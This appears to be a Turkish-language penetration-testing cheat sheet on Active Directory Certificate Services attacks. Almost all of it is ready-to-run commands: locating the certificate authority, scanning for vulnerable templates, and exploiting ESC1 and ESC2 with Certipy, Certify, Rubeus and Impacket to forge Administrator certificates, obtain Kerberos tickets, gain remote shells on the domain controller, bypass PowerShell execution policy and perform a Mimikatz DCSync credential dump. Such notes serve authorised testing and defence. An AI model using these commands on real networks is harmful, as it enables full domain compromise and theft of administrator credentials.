ADCS Attacks

Sertifika Sunucusu Kontrolü

# Bu local grup var ise sertifika sunucusu vardır
net localgroup "Cert Publishers"
# Sunucunun varlığını nxc ile bulabiliriz
nxc ldap 10.0.0.1 -u "john" -p "pass123" -M adcs

Zafiyetileri Tarama

# Windows
.\Certify.exe find /vulnerable
# Linux
certipy-ad find -u 'john@corp.local' -p 'pass123' -dc-ip 10.0.0.1 -enabled -vulnerable -stdout

ESC1

Linuxtan aşağıdaki şekilde yapılır.

# ESC1 zafiyetini istismar eder
certipy-ad req -u 'john@corp.local' -p 'pass123' -dc-ip 10.0.0.1 -target-ip 10.0.0.1 -ca CORP-DC-CA -template ESC1 -upn Administrator
# Sertifika dosyası ile TGT ister
certipy-ad auth -pfx administrator.pfx -username administrator -domain corp.local -dc-ip 10.0.0.1
# TGT import eder
export KRB5CCNAME=administrator.ccache
# Ticket ile wmi bağlanır
impacket-wmiexec -k -no-pass DC.CORP.LOCAL

Windowstan aşağıdaki şekilde yapılır.

# LDAP ile manuel ESC1 kontrolü
Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=corp,DC=local'
# ESC1 zafiyeti ile sertifika dosyası oluşturur
.\Certify.exe request /ca:DC.corp.local\CORP-DC-CA /template:ESC1 /altname:administrator@corp.local
# Sertifika dosyasını dönüştürür
& "C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Sertifika ile TGT ister
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
# TGT kullanmak için temiz bir pencere açar
.\Rubeus.exe createnetonly /program:powershell.exe /show
# TGT'yi import eder
.\Rubeus.exe ptt /ticket:<TGT_BASE64>
# Execution policy disable eder
Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
# Mimikatz import eder
Import-Module .\Invoke-Mimikatz.ps1
# TGT ile dcsync yapar
Invoke-Mimikatz -Command '"lsadump::dcsync /user:corp\Administrator"'

ESC2

Linuxtan aşağıdaki şekilde yapılır.

# ESC2 zafiyetini istismar eder ve sertifika alır
certipy-ad req -u 'john@corp.local' -p 'pass123' -dc-ip 10.0.0.1 -target-ip 10.0.0.1 -ca CORP-DC-CA -template ESC2 -upn Administrator
# Sertifika ile administrator TGT alır
certipy-ad auth -pfx administrator.pfx -username administrator -domain corp.local -dc-ip 10.0.0.1
# TGT import eder
export KRB5CCNAME=administrator.ccache
# TGT ile smb bağlanır
impacket-smbexec -k -no-pass DC.CORP.LOCAL

Last updated